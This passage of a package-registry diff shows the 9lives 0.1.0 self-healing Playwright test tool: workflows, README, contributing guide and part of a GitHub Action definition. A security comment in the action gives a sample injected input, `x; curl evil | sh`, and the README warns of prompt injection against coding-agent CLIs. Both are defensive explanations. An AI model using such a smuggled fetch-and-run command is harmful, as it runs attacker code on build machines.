9lives 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- 9lives-0.1.0/.github/ISSUE_TEMPLATE/bug_report.md +18 -0
- 9lives-0.1.0/.github/ISSUE_TEMPLATE/feature_request.md +11 -0
- 9lives-0.1.0/.github/workflows/ci.yml +51 -0
- 9lives-0.1.0/.github/workflows/release.yml +42 -0
- 9lives-0.1.0/.gitignore +19 -0
- 9lives-0.1.0/CONTRIBUTING.md +32 -0
- 9lives-0.1.0/LICENSE +21 -0
- 9lives-0.1.0/PKG-INFO +99 -0
- 9lives-0.1.0/README.md +74 -0
- 9lives-0.1.0/action/README.md +43 -0
- 9lives-0.1.0/action/action.yml +133 -0
- 9lives-0.1.0/docs/VERIFICATION_TRANSCRIPTS.md +171 -0
- 9lives-0.1.0/install/9l.run.sh +36 -0
- 9lives-0.1.0/pyproject.toml +42 -0
- 9lives-0.1.0/src/ninelives/__init__.py +3 -0
- 9lives-0.1.0/src/ninelives/cli.py +294 -0
- 9lives-0.1.0/src/ninelives/healing/__init__.py +9 -0
- 9lives-0.1.0/src/ninelives/healing/parse.py +97 -0
- 9lives-0.1.0/src/ninelives/healing/patch.py +29 -0
- 9lives-0.1.0/src/ninelives/healing/strategy.py +258 -0
- 9lives-0.1.0/src/ninelives/healing/tier1.py +194 -0
- 9lives-0.1.0/src/ninelives/healing/tier2.py +122 -0
- 9lives-0.1.0/src/ninelives/llm/__init__.py +1 -0
- 9lives-0.1.0/src/ninelives/llm/agent_cli.py +96 -0
- 9lives-0.1.0/src/ninelives/llm/client.py +136 -0
- 9lives-0.1.0/src/ninelives/report/__init__.py +1 -0
- 9lives-0.1.0/src/ninelives/report/github.py +113 -0
- 9lives-0.1.0/src/ninelives/runner/__init__.py +1 -0
- 9lives-0.1.0/src/ninelives/runner/artifacts.py +91 -0
- 9lives-0.1.0/src/ninelives/runner/execute.py +174 -0
- 9lives-0.1.0/src/ninelives/runner/project.py +75 -0
- 9lives-0.1.0/tests/test_healing.py +340 -0
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: Bug report
|
|
3
|
+
about: Something broke — we triage same-day
|
|
4
|
+
labels: bug
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
**What happened**
|
|
8
|
+
|
|
9
|
+
**What you expected**
|
|
10
|
+
|
|
11
|
+
**Repro** (the failing spec + the page it runs against, if shareable)
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
9l --version
|
|
15
|
+
9l doctor
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
**Output of the failing `9l` command** (run with `-v` for debug logs)
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: Feature request
|
|
3
|
+
about: Most of our best features came from the community
|
|
4
|
+
labels: enhancement
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
**The problem you're hitting**
|
|
8
|
+
|
|
9
|
+
**What you'd like 9lives to do**
|
|
10
|
+
|
|
11
|
+
**Would you be up for building it with us?** (we label starter-friendly work `good-first-issue`)
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
# CI for the standalone Quality-Max/9lives repo.
|
|
2
|
+
name: ci
|
|
3
|
+
|
|
4
|
+
on:
|
|
5
|
+
push:
|
|
6
|
+
branches: [main]
|
|
7
|
+
pull_request:
|
|
8
|
+
|
|
9
|
+
jobs:
|
|
10
|
+
test:
|
|
11
|
+
runs-on: ubuntu-latest
|
|
12
|
+
strategy:
|
|
13
|
+
matrix:
|
|
14
|
+
python-version: ["3.10", "3.11", "3.12"]
|
|
15
|
+
steps:
|
|
16
|
+
- uses: actions/checkout@v4
|
|
17
|
+
- uses: astral-sh/setup-uv@v5
|
|
18
|
+
with:
|
|
19
|
+
python-version: ${{ matrix.python-version }}
|
|
20
|
+
- run: uv run --with pytest --no-project python -m pytest tests/ -q
|
|
21
|
+
- run: uv run --with ruff --no-project ruff check src/ tests/
|
|
22
|
+
- run: uv run --with ruff --no-project ruff format --check src/ tests/
|
|
23
|
+
|
|
24
|
+
smoke:
|
|
25
|
+
runs-on: ubuntu-latest
|
|
26
|
+
steps:
|
|
27
|
+
- uses: actions/checkout@v4
|
|
28
|
+
- uses: astral-sh/setup-uv@v5
|
|
29
|
+
- name: Install and run doctor
|
|
30
|
+
run: |
|
|
31
|
+
uv tool install .
|
|
32
|
+
9l --version
|
|
33
|
+
9l doctor || true # no LLM key in CI — doctor still must not crash
|
|
34
|
+
- name: Tier 1 offline heal e2e
|
|
35
|
+
run: |
|
|
36
|
+
mkdir -p /tmp/e2e && cd /tmp/e2e
|
|
37
|
+
cat > page.html <<'EOF'
|
|
38
|
+
<!doctype html><html><body>
|
|
39
|
+
<button id="b" onclick="this.textContent='Welcome!'">Sign in</button>
|
|
40
|
+
</body></html>
|
|
41
|
+
EOF
|
|
42
|
+
cat > login.spec.js <<EOF
|
|
43
|
+
const { test, expect } = require('@playwright/test');
|
|
44
|
+
test('sign in', async ({ page }) => {
|
|
45
|
+
await page.goto('file:///tmp/e2e/page.html');
|
|
46
|
+
await page.locator("text='Sign In'").click();
|
|
47
|
+
await expect(page.locator('#b')).toHaveText('Welcome!');
|
|
48
|
+
});
|
|
49
|
+
EOF
|
|
50
|
+
9l heal --yes login.spec.js
|
|
51
|
+
grep -q "text='Sign in'" login.spec.js
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
# Release for the standalone Quality-Max/9lives repo.
|
|
2
|
+
# Requires PyPI Trusted Publishing configured for the 9lives project
|
|
3
|
+
# (PyPI → project → Publishing → add GitHub publisher: Quality-Max/9lives,
|
|
4
|
+
# workflow release.yml, environment pypi). No token secrets needed.
|
|
5
|
+
name: release
|
|
6
|
+
|
|
7
|
+
on:
|
|
8
|
+
push:
|
|
9
|
+
tags: ["v*"]
|
|
10
|
+
|
|
11
|
+
jobs:
|
|
12
|
+
pypi:
|
|
13
|
+
if: github.ref_name != 'v1'
|
|
14
|
+
runs-on: ubuntu-latest
|
|
15
|
+
environment: pypi
|
|
16
|
+
permissions:
|
|
17
|
+
id-token: write # PyPI trusted publishing
|
|
18
|
+
contents: write # GitHub release
|
|
19
|
+
steps:
|
|
20
|
+
- uses: actions/checkout@v4
|
|
21
|
+
- uses: astral-sh/setup-uv@v5
|
|
22
|
+
- run: uv build
|
|
23
|
+
- uses: pypa/gh-action-pypi-publish@release/v1
|
|
24
|
+
- name: GitHub release
|
|
25
|
+
env:
|
|
26
|
+
GH_TOKEN: ${{ github.token }}
|
|
27
|
+
run: gh release create "$GITHUB_REF_NAME" dist/* --generate-notes
|
|
28
|
+
|
|
29
|
+
action-major-tag:
|
|
30
|
+
# Keep `uses: quality-max/9lives/action@v1` pointing at the newest v1.x.y
|
|
31
|
+
runs-on: ubuntu-latest
|
|
32
|
+
needs: pypi
|
|
33
|
+
if: startsWith(github.ref_name, 'v1.')
|
|
34
|
+
permissions:
|
|
35
|
+
contents: write
|
|
36
|
+
steps:
|
|
37
|
+
- uses: actions/checkout@v4
|
|
38
|
+
- run: |
|
|
39
|
+
git config user.name "9lives"
|
|
40
|
+
git config user.email "9lives-bot@users.noreply.github.com"
|
|
41
|
+
git tag -f v1
|
|
42
|
+
git push -f origin v1
|
9lives-0.1.0/.gitignore
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
__pycache__/
|
|
2
|
+
*.py[cod]
|
|
3
|
+
*.egg-info/
|
|
4
|
+
dist/
|
|
5
|
+
build/
|
|
6
|
+
.venv/
|
|
7
|
+
.pytest_cache/
|
|
8
|
+
.ruff_cache/
|
|
9
|
+
|
|
10
|
+
# 9lives run artifacts
|
|
11
|
+
.9lives/
|
|
12
|
+
.9lives-report.md
|
|
13
|
+
*.healed
|
|
14
|
+
|
|
15
|
+
# Playwright
|
|
16
|
+
node_modules/
|
|
17
|
+
test-results/
|
|
18
|
+
playwright-report/
|
|
19
|
+
results.json
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# Contributing to 9lives 🐾
|
|
2
|
+
|
|
3
|
+
Every issue gets triaged, every PR gets a review — usually same-day. Contributing should feel effortless; if it doesn't, that's a bug in our process, file it.
|
|
4
|
+
|
|
5
|
+
## Dev setup
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
git clone https://github.com/Quality-Max/9lives && cd 9lives
|
|
9
|
+
uv sync --extra all # or: pip install -e '.[all]'
|
|
10
|
+
uv run pytest # unit tests — pure, no network, fast
|
|
11
|
+
uv run ruff check src tests && uv run ruff format --check src tests
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
Node ≥ 18 is needed only for running actual Playwright specs (`9l run` / `9l heal`), not for the unit tests.
|
|
15
|
+
|
|
16
|
+
## What we merge fast
|
|
17
|
+
|
|
18
|
+
- New Tier 1 healing strategies (offline selector recovery) with tests
|
|
19
|
+
- New agent CLI adapters in `src/ninelives/llm/agent_cli.py` — one dict entry + a test
|
|
20
|
+
- Failure-classification patterns for error messages we misread (attach the real Playwright output)
|
|
21
|
+
- Docs, examples, install-path fixes for platforms we haven't met
|
|
22
|
+
|
|
23
|
+
## Ground rules
|
|
24
|
+
|
|
25
|
+
- **Tier 1 stays offline.** No network calls in `healing/tier1.py` or `healing/strategy.py`, ever.
|
|
26
|
+
- **No telemetry, no accounts, no phone-home.** PRs adding any will be closed with love.
|
|
27
|
+
- **Diff-first.** Anything that modifies a user's file must show a diff and respect `--yes`.
|
|
28
|
+
- Tests for behavior changes; `ruff check` + `ruff format` clean.
|
|
29
|
+
|
|
30
|
+
## Releasing (maintainers)
|
|
31
|
+
|
|
32
|
+
Tag `vX.Y.Z` → CI publishes to PyPI and cuts a GitHub release. Keep the `v1` major tag on the latest compatible commit for `uses: quality-max/9lives/action@v1`.
|
9lives-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 QualityMax
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
9lives-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: 9lives
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Self-healing QA for the coding-agent era. Your tests have nine lives.
|
|
5
|
+
Project-URL: Homepage, https://9lives.run
|
|
6
|
+
Project-URL: Repository, https://github.com/Quality-Max/9lives
|
|
7
|
+
Author: QualityMax
|
|
8
|
+
License: MIT
|
|
9
|
+
License-File: LICENSE
|
|
10
|
+
Keywords: agents,ai,playwright,qa,self-healing,testing
|
|
11
|
+
Classifier: Development Status :: 3 - Alpha
|
|
12
|
+
Classifier: Intended Audience :: Developers
|
|
13
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
14
|
+
Classifier: Programming Language :: Python :: 3
|
|
15
|
+
Classifier: Topic :: Software Development :: Testing
|
|
16
|
+
Requires-Python: >=3.10
|
|
17
|
+
Provides-Extra: all
|
|
18
|
+
Requires-Dist: anthropic>=0.40; extra == 'all'
|
|
19
|
+
Requires-Dist: openai>=1.50; extra == 'all'
|
|
20
|
+
Provides-Extra: anthropic
|
|
21
|
+
Requires-Dist: anthropic>=0.40; extra == 'anthropic'
|
|
22
|
+
Provides-Extra: openai
|
|
23
|
+
Requires-Dist: openai>=1.50; extra == 'openai'
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
|
|
26
|
+
# 🐾 9lives
|
|
27
|
+
|
|
28
|
+
**Your tests have nine lives.** Self-healing QA for the coding-agent era, by [QualityMax](https://qualitymax.io).
|
|
29
|
+
|
|
30
|
+
Your coding agent shipped a change and your Playwright test went red? Don't rewrite it — resurrect it:
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
9l heal login.spec.ts
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
`9l` runs the test, classifies the failure, and heals it in tiers:
|
|
37
|
+
|
|
38
|
+
1. **Tier 1 — offline, free, instant.** Selector drifted? 9lives finds the element again from the failure-time page snapshot (text, testid, id, class, aria-label) and rewrites the locator. No LLM, no network, no account.
|
|
39
|
+
2. **Tier 2 — the subscription you already pay for.** Structural change? 9lives shells out to your installed coding-agent CLI — **Claude Code (`claude -p`), Codex (`codex exec`), or OpenCode (`opencode run`)** — so your existing subscription does the thinking. No API key to mint, nothing to configure: if the CLI is logged in, healing works. (Prefer raw API? `ANTHROPIC_API_KEY` / `OPENAI_API_KEY` work too.)
|
|
40
|
+
3. **Always a diff, never a surprise.** Healed code is shown as a unified diff and applied only when you approve (or `--yes` in CI).
|
|
41
|
+
|
|
42
|
+
## Install
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
curl -sL 9l.run | sh # coming soon
|
|
46
|
+
pip install 9lives # or: uv tool install 9lives
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
Requires Node.js ≥ 18 (Playwright itself runs on Node). Check your setup with `9l doctor`.
|
|
50
|
+
|
|
51
|
+
## Commands
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
9l run <spec> # run a spec locally; screenshots/videos/traces in .9lives/
|
|
55
|
+
9l heal <spec> # run → heal → re-run → diff → apply on confirm
|
|
56
|
+
9l heal <spec> --yes # CI mode: apply automatically, exit code tells the story
|
|
57
|
+
9l doctor # environment check
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
Works inside an existing Playwright project (uses your `package.json`) or on a bare `.spec.ts` file (scaffolds an ephemeral project automatically). All commands accept multiple specs/globs.
|
|
61
|
+
|
|
62
|
+
## In CI: the GitHub Action
|
|
63
|
+
|
|
64
|
+
```yaml
|
|
65
|
+
- uses: quality-max/9lives/action@v1
|
|
66
|
+
with:
|
|
67
|
+
specs: "tests/**/*.spec.ts"
|
|
68
|
+
anthropic-api-key: ${{ secrets.ANTHROPIC_API_KEY }}
|
|
69
|
+
commit-healed: "true"
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
Runs on **your** runner, heals with **your** key, posts a 🐾 report comment on the PR, and can commit healed specs straight back to the branch. See [`action/`](action/README.md).
|
|
73
|
+
|
|
74
|
+
## BYO everything
|
|
75
|
+
|
|
76
|
+
- **Your subscription:** an installed `claude` / `codex` / `opencode` CLI is auto-detected and used for Tier 2, so the subscription you already use for coding can heal tests too.
|
|
77
|
+
- **Or your key:** `ANTHROPIC_API_KEY` / `OPENAI_API_KEY`. Force a choice with `NINELIVES_PROVIDER` (`claude-code`, `codex`, `opencode`, `anthropic`, `openai`) and `NINELIVES_MODEL`.
|
|
78
|
+
- **Your runner:** everything executes on your machine or your CI. Nothing leaves it, nothing phones home.
|
|
79
|
+
- **No account.** Ever, for anything in this tool.
|
|
80
|
+
|
|
81
|
+
## Security & trust boundary
|
|
82
|
+
|
|
83
|
+
Tier 1 healing is fully offline and never sends anything anywhere.
|
|
84
|
+
|
|
85
|
+
Tier 2 builds its prompt from the failing test plus the **page snapshot captured at failure**. If you heal tests against a site you don't control, that page content becomes model input. In *subscription mode* it is handed to your local coding-agent CLI (`claude` / `codex` / `opencode`), which can run tools — so a hostile page could attempt prompt injection against your agent. 9lives runs the CLI in an empty scratch directory to limit blast radius, but if you heal against untrusted targets, force plain API mode (no agent tools) with:
|
|
86
|
+
|
|
87
|
+
```
|
|
88
|
+
NINELIVES_PROVIDER=anthropic # or openai
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
## Roadmap
|
|
92
|
+
|
|
93
|
+
- `9l check` — map your git diff to affected user flows, run/generate targeted tests: *"did my agent break anything?"*
|
|
94
|
+
- `9lives-action` — GitHub Action that posts the QA report on PRs, healed commits included
|
|
95
|
+
- `9l gen <url>` — crawl a live app and generate a starter test suite
|
|
96
|
+
|
|
97
|
+
## Status
|
|
98
|
+
|
|
99
|
+
**v0.1 prototype** — built by [QualityMax](https://qualitymax.io) for local, BYO self-healing Playwright workflows. MIT licensed.
|
9lives-0.1.0/README.md
ADDED
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
# 🐾 9lives
|
|
2
|
+
|
|
3
|
+
**Your tests have nine lives.** Self-healing QA for the coding-agent era, by [QualityMax](https://qualitymax.io).
|
|
4
|
+
|
|
5
|
+
Your coding agent shipped a change and your Playwright test went red? Don't rewrite it — resurrect it:
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
9l heal login.spec.ts
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
`9l` runs the test, classifies the failure, and heals it in tiers:
|
|
12
|
+
|
|
13
|
+
1. **Tier 1 — offline, free, instant.** Selector drifted? 9lives finds the element again from the failure-time page snapshot (text, testid, id, class, aria-label) and rewrites the locator. No LLM, no network, no account.
|
|
14
|
+
2. **Tier 2 — the subscription you already pay for.** Structural change? 9lives shells out to your installed coding-agent CLI — **Claude Code (`claude -p`), Codex (`codex exec`), or OpenCode (`opencode run`)** — so your existing subscription does the thinking. No API key to mint, nothing to configure: if the CLI is logged in, healing works. (Prefer raw API? `ANTHROPIC_API_KEY` / `OPENAI_API_KEY` work too.)
|
|
15
|
+
3. **Always a diff, never a surprise.** Healed code is shown as a unified diff and applied only when you approve (or `--yes` in CI).
|
|
16
|
+
|
|
17
|
+
## Install
|
|
18
|
+
|
|
19
|
+
```bash
|
|
20
|
+
curl -sL 9l.run | sh # coming soon
|
|
21
|
+
pip install 9lives # or: uv tool install 9lives
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
Requires Node.js ≥ 18 (Playwright itself runs on Node). Check your setup with `9l doctor`.
|
|
25
|
+
|
|
26
|
+
## Commands
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
9l run <spec> # run a spec locally; screenshots/videos/traces in .9lives/
|
|
30
|
+
9l heal <spec> # run → heal → re-run → diff → apply on confirm
|
|
31
|
+
9l heal <spec> --yes # CI mode: apply automatically, exit code tells the story
|
|
32
|
+
9l doctor # environment check
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
Works inside an existing Playwright project (uses your `package.json`) or on a bare `.spec.ts` file (scaffolds an ephemeral project automatically). All commands accept multiple specs/globs.
|
|
36
|
+
|
|
37
|
+
## In CI: the GitHub Action
|
|
38
|
+
|
|
39
|
+
```yaml
|
|
40
|
+
- uses: quality-max/9lives/action@v1
|
|
41
|
+
with:
|
|
42
|
+
specs: "tests/**/*.spec.ts"
|
|
43
|
+
anthropic-api-key: ${{ secrets.ANTHROPIC_API_KEY }}
|
|
44
|
+
commit-healed: "true"
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
Runs on **your** runner, heals with **your** key, posts a 🐾 report comment on the PR, and can commit healed specs straight back to the branch. See [`action/`](action/README.md).
|
|
48
|
+
|
|
49
|
+
## BYO everything
|
|
50
|
+
|
|
51
|
+
- **Your subscription:** an installed `claude` / `codex` / `opencode` CLI is auto-detected and used for Tier 2, so the subscription you already use for coding can heal tests too.
|
|
52
|
+
- **Or your key:** `ANTHROPIC_API_KEY` / `OPENAI_API_KEY`. Force a choice with `NINELIVES_PROVIDER` (`claude-code`, `codex`, `opencode`, `anthropic`, `openai`) and `NINELIVES_MODEL`.
|
|
53
|
+
- **Your runner:** everything executes on your machine or your CI. Nothing leaves it, nothing phones home.
|
|
54
|
+
- **No account.** Ever, for anything in this tool.
|
|
55
|
+
|
|
56
|
+
## Security & trust boundary
|
|
57
|
+
|
|
58
|
+
Tier 1 healing is fully offline and never sends anything anywhere.
|
|
59
|
+
|
|
60
|
+
Tier 2 builds its prompt from the failing test plus the **page snapshot captured at failure**. If you heal tests against a site you don't control, that page content becomes model input. In *subscription mode* it is handed to your local coding-agent CLI (`claude` / `codex` / `opencode`), which can run tools — so a hostile page could attempt prompt injection against your agent. 9lives runs the CLI in an empty scratch directory to limit blast radius, but if you heal against untrusted targets, force plain API mode (no agent tools) with:
|
|
61
|
+
|
|
62
|
+
```
|
|
63
|
+
NINELIVES_PROVIDER=anthropic # or openai
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
## Roadmap
|
|
67
|
+
|
|
68
|
+
- `9l check` — map your git diff to affected user flows, run/generate targeted tests: *"did my agent break anything?"*
|
|
69
|
+
- `9lives-action` — GitHub Action that posts the QA report on PRs, healed commits included
|
|
70
|
+
- `9l gen <url>` — crawl a live app and generate a starter test suite
|
|
71
|
+
|
|
72
|
+
## Status
|
|
73
|
+
|
|
74
|
+
**v0.1 prototype** — built by [QualityMax](https://qualitymax.io) for local, BYO self-healing Playwright workflows. MIT licensed.
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
# 🐾 9lives GitHub Action
|
|
2
|
+
|
|
3
|
+
Self-healing QA on **your** runner, with **your** key — no account, no cloud tether, nothing leaves your CI. The report lands on the PR; healed tests can be committed straight back to the branch.
|
|
4
|
+
|
|
5
|
+
```yaml
|
|
6
|
+
name: 9lives
|
|
7
|
+
on: pull_request
|
|
8
|
+
|
|
9
|
+
permissions:
|
|
10
|
+
contents: write # only if commit-healed: true
|
|
11
|
+
pull-requests: write # for the PR comment
|
|
12
|
+
|
|
13
|
+
jobs:
|
|
14
|
+
qa:
|
|
15
|
+
runs-on: ubuntu-latest
|
|
16
|
+
steps:
|
|
17
|
+
- uses: actions/checkout@v4
|
|
18
|
+
with:
|
|
19
|
+
ref: ${{ github.head_ref }} # needed for commit-healed
|
|
20
|
+
- uses: quality-max/9lives/action@v1
|
|
21
|
+
with:
|
|
22
|
+
specs: "tests/**/*.spec.ts"
|
|
23
|
+
anthropic-api-key: ${{ secrets.ANTHROPIC_API_KEY }}
|
|
24
|
+
commit-healed: "true"
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
## Inputs
|
|
28
|
+
|
|
29
|
+
| input | default | what it does |
|
|
30
|
+
|---|---|---|
|
|
31
|
+
| `specs` | *(required)* | Space-separated spec paths or globs |
|
|
32
|
+
| `mode` | `heal` | `heal` fixes failing specs; `run` only reports |
|
|
33
|
+
| `anthropic-api-key` / `openai-api-key` | — | Your key for Tier 2 healing. Tier 1 (selector drift) heals with no key at all |
|
|
34
|
+
| `comment` | `true` | Post/update the 🐾 report comment on the PR |
|
|
35
|
+
| `commit-healed` | `false` | Commit healed specs back to the PR branch |
|
|
36
|
+
|
|
37
|
+
## Outputs
|
|
38
|
+
|
|
39
|
+
`status` (`passed` / `healed` / `failed`), `healed`, `failed` — use them to gate later steps.
|
|
40
|
+
|
|
41
|
+
## How this differs from the cloud-tethered alternatives
|
|
42
|
+
|
|
43
|
+
Execution happens on the runner you already pay GitHub for, healing happens with the key (or agent subscription) you already have, and the tool never sees your code — because there is no "us" to send it to. Compare: KaneAI/TestMu and BrowserStack route your tests through their metered cloud behind an account wall.
|
|
@@ -0,0 +1,133 @@
|
|
|
1
|
+
name: "9lives"
|
|
2
|
+
description: >-
|
|
3
|
+
Self-healing QA for the coding-agent era. Runs Playwright specs on YOUR
|
|
4
|
+
runner with YOUR key (or agent subscription) — no account, nothing leaves
|
|
5
|
+
your CI. Posts a 🐾 report on the PR; optionally commits healed tests.
|
|
6
|
+
author: QualityMax
|
|
7
|
+
branding:
|
|
8
|
+
icon: heart
|
|
9
|
+
color: purple
|
|
10
|
+
|
|
11
|
+
inputs:
|
|
12
|
+
specs:
|
|
13
|
+
description: "Space-separated spec paths or globs (e.g. 'tests/**/*.spec.ts')"
|
|
14
|
+
required: true
|
|
15
|
+
mode:
|
|
16
|
+
description: "heal (fix failing specs) or run (report only)"
|
|
17
|
+
required: false
|
|
18
|
+
default: heal
|
|
19
|
+
anthropic-api-key:
|
|
20
|
+
description: "Anthropic API key for Tier 2 healing (or use openai-api-key)"
|
|
21
|
+
required: false
|
|
22
|
+
default: ""
|
|
23
|
+
openai-api-key:
|
|
24
|
+
description: "OpenAI API key for Tier 2 healing"
|
|
25
|
+
required: false
|
|
26
|
+
default: ""
|
|
27
|
+
comment:
|
|
28
|
+
description: "Post the report as a PR comment (pull_request events only)"
|
|
29
|
+
required: false
|
|
30
|
+
default: "true"
|
|
31
|
+
commit-healed:
|
|
32
|
+
description: "Commit and push healed specs back to the PR branch"
|
|
33
|
+
required: false
|
|
34
|
+
default: "false"
|
|
35
|
+
|
|
36
|
+
outputs:
|
|
37
|
+
status:
|
|
38
|
+
description: "passed | healed | failed"
|
|
39
|
+
value: ${{ steps.nine.outputs.status }}
|
|
40
|
+
healed:
|
|
41
|
+
description: "Number of specs healed"
|
|
42
|
+
value: ${{ steps.nine.outputs.healed }}
|
|
43
|
+
failed:
|
|
44
|
+
description: "Number of specs still failing"
|
|
45
|
+
value: ${{ steps.nine.outputs.failed }}
|
|
46
|
+
|
|
47
|
+
runs:
|
|
48
|
+
using: composite
|
|
49
|
+
steps:
|
|
50
|
+
- name: Install 9lives
|
|
51
|
+
shell: bash
|
|
52
|
+
env:
|
|
53
|
+
# Route github.action_path through env rather than splicing ${{ }} into
|
|
54
|
+
# the script body (SAST: no github-context interpolation inside run:).
|
|
55
|
+
ACTION_PATH: ${{ github.action_path }}
|
|
56
|
+
run: |
|
|
57
|
+
python3 -m pip install --quiet "$ACTION_PATH/..[all]"
|
|
58
|
+
|
|
59
|
+
- name: Run 9lives
|
|
60
|
+
id: nine
|
|
61
|
+
shell: bash
|
|
62
|
+
env:
|
|
63
|
+
ANTHROPIC_API_KEY: ${{ inputs.anthropic-api-key }}
|
|
64
|
+
OPENAI_API_KEY: ${{ inputs.openai-api-key }}
|
|
65
|
+
# Pass inputs as env vars, never interpolate ${{ }} into the script body:
|
|
66
|
+
# a value like `x; curl evil | sh` would otherwise run on the runner.
|
|
67
|
+
NINELIVES_SPECS: ${{ inputs.specs }}
|
|
68
|
+
NINELIVES_MODE: ${{ inputs.mode }}
|
|
69
|
+
run: |
|
|
70
|
+
shopt -s globstar nullglob
|
|
71
|
+
# Intentional unquoted expansion: word-split + glob the spec patterns.
|
|
72
|
+
specs=( $NINELIVES_SPECS )
|
|
73
|
+
if [ "${#specs[@]}" -eq 0 ]; then
|
|
74
|
+
echo "no specs matched '$NINELIVES_SPECS'" >&2
|
|
75
|
+
exit 1
|
|
76
|
+
fi
|
|
77
|
+
if [ "$NINELIVES_MODE" = "heal" ]; then
|
|
78
|
+
9l heal --yes "${specs[@]}"
|
|
79
|
+
else
|
|
80
|
+
9l run "${specs[@]}"
|
|
81
|
+
fi
|
|
82
|
+
|
|
83
|
+
- name: Post PR comment
|
|
84
|
+
if: ${{ always() && inputs.comment == 'true' && github.event_name == 'pull_request' }}
|
|
85
|
+
uses: actions/github-script@v7
|
|
86
|
+
with:
|
|
87
|
+
script: |
|
|
88
|
+
const fs = require('fs');
|
|
89
|
+
const path = '.9lives-report.md';
|
|
90
|
+
if (!fs.existsSync(path)) return;
|
|
91
|
+
const body = fs.readFileSync(path, 'utf8');
|
|
92
|
+
const marker = '🐾 checked by [9lives]';
|
|
93
|
+
const { data: comments } = await github.rest.issues.listComments({
|
|
94
|
+
...context.repo, issue_number: context.issue.number, per_page: 100,
|
|
95
|
+
});
|
|
96
|
+
const previous = comments.find(c => c.body && c.body.includes(marker) && c.user.type === 'Bot');
|
|
97
|
+
if (previous) {
|
|
98
|
+
await github.rest.issues.updateComment({ ...context.repo, comment_id: previous.id, body });
|
|
99
|
+
} else {
|
|
100
|
+
await github.rest.issues.createComment({ ...context.repo, issue_number: context.issue.number, body });
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
- name: Commit healed specs
|
|
104
|
+
# Never push to a fork (its token is read-only and the target isn't ours);
|
|
105
|
+
# only same-repo PRs and direct pushes commit healed specs back.
|
|
106
|
+
if: ${{ always() && inputs.mode == 'heal' && inputs.commit-healed == 'true' && (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) }}
|
|
107
|
+
shell: bash
|
|
108
|
+
# Route ref names through env (never splice ${{ }} into the shell script text).
|
|
109
|
+
env:
|
|
110
|
+
EVENT_NAME: ${{ github.event_name }}
|
|
111
|
+
HEAD_REF: ${{ github.head_ref }}
|
|
112
|
+
REF_NAME: ${{ github.ref_name }}
|
|
113
|
+
run: |
|
|
114
|
+
if git diff --quiet; then
|
|
115
|
+
echo "nothing healed, nothing to commit"
|
|
116
|
+
exit 0
|
|
117
|
+
fi
|
|
118
|
+
# On pull_request the checkout is a detached merge ref, so a bare
|
|
119
|
+
# `git push` fails — push explicitly to the source branch instead.
|
|
120
|
+
if [ "$EVENT_NAME" = "pull_request" ]; then
